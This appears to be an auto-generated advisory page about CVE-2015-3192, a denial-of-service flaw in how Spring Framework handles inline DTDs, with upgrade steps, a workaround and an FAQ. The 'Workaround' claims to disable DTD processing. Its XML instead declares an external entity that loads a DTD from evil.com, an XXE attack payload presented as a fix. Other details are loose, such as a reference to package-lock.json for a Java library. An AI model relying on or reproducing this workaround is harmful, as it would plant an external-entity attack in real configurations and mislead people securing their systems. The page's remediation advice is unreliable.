Memory Consumption and Out-of-Memory Errors in Pivotal Spring Framework
Summary
CVE-2015-3192: Pivotal Spring Framework before 3.2.14 and 4.x before 4.1.7 do not properly process inline DTD declarations when DTD is not entirely disabled, which allows remote attackers to cause a denial of service (memory consumptio... Affects libspring-java versions < 4.1.9-1. Fixed in 4.1.9-1. How to fix ↓
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Background
Pivotal Spring Framework is a popular open-source framework used for building Java applications. It provides a comprehensive programming and configuration model for modern Java-based enterprise applications. The framework offers various features and functionalities to simplify the development process and enhance application performance. However, a vulnerability has been identified in versions before 3.2.14 and 4.x before 4.1.7 of the Spring Framework.
Vulnerability Detail
The vulnerability, identified as CVE-2015-3192, stems from the improper processing of inline DTD declarations when the DTD is not entirely disabled. This flaw allows remote attackers to exploit the vulnerability by crafting a malicious XML file. When this file is processed by the Spring Framework, it leads to memory consumption and out-of-memory errors. The impact of this vulnerability can result in denial of service, causing the affected application to become unresponsive or crash.
How To Fix
Minimum fixed version
4.1.9-1
This is the first release that contains the fix.
sudo apt-get install --only-upgrade libspring-javaTip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →
Workaround
As a workaround, it is advised to disable the processing of inline DTD declarations entirely. This can be achieved by configuring the Spring Framework to use an external entity resolver that disables DTD processing. Here is an example of how to configure the entity resolver in the Spring Framework's XML configuration file:
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd" [
<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
%xxe;
]>
Conclusion
In conclusion, the Pivotal Spring Framework versions before 3.2.14 and 4.x before 4.1.7 are vulnerable to a memory consumption and out-of-memory errors issue. This vulnerability can be exploited by crafting a malicious XML file, leading to denial of service. To mitigate the risk, it is crucial to update the framework to the recommended versions or apply the provided workaround. For further assistance and support in vulnerability remediation, please contact DevNack.com.
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FAQ
The vulnerability can lead to memory consumption and out-of-memory errors in the affected application, causing denial of service and potential application crashes.
You can use Vulert's playground (https://vulert.com/scanner) to check if your application is affected by this vulnerability. Vulert analyzes your package-lock.json file and provides real-time alerts for open-source vulnerabilities.
No, only versions before 3.2.14 and 4.x before 4.1.7 are affected. It is recommended to update to the latest version to mitigate the vulnerability.
Yes, a workaround is available by disabling the processing of inline DTD declarations entirely. Refer to the 'workaround' section for more details.
Yes, the CVSS score for this vulnerability is 5.5, indicating a moderate severity level.
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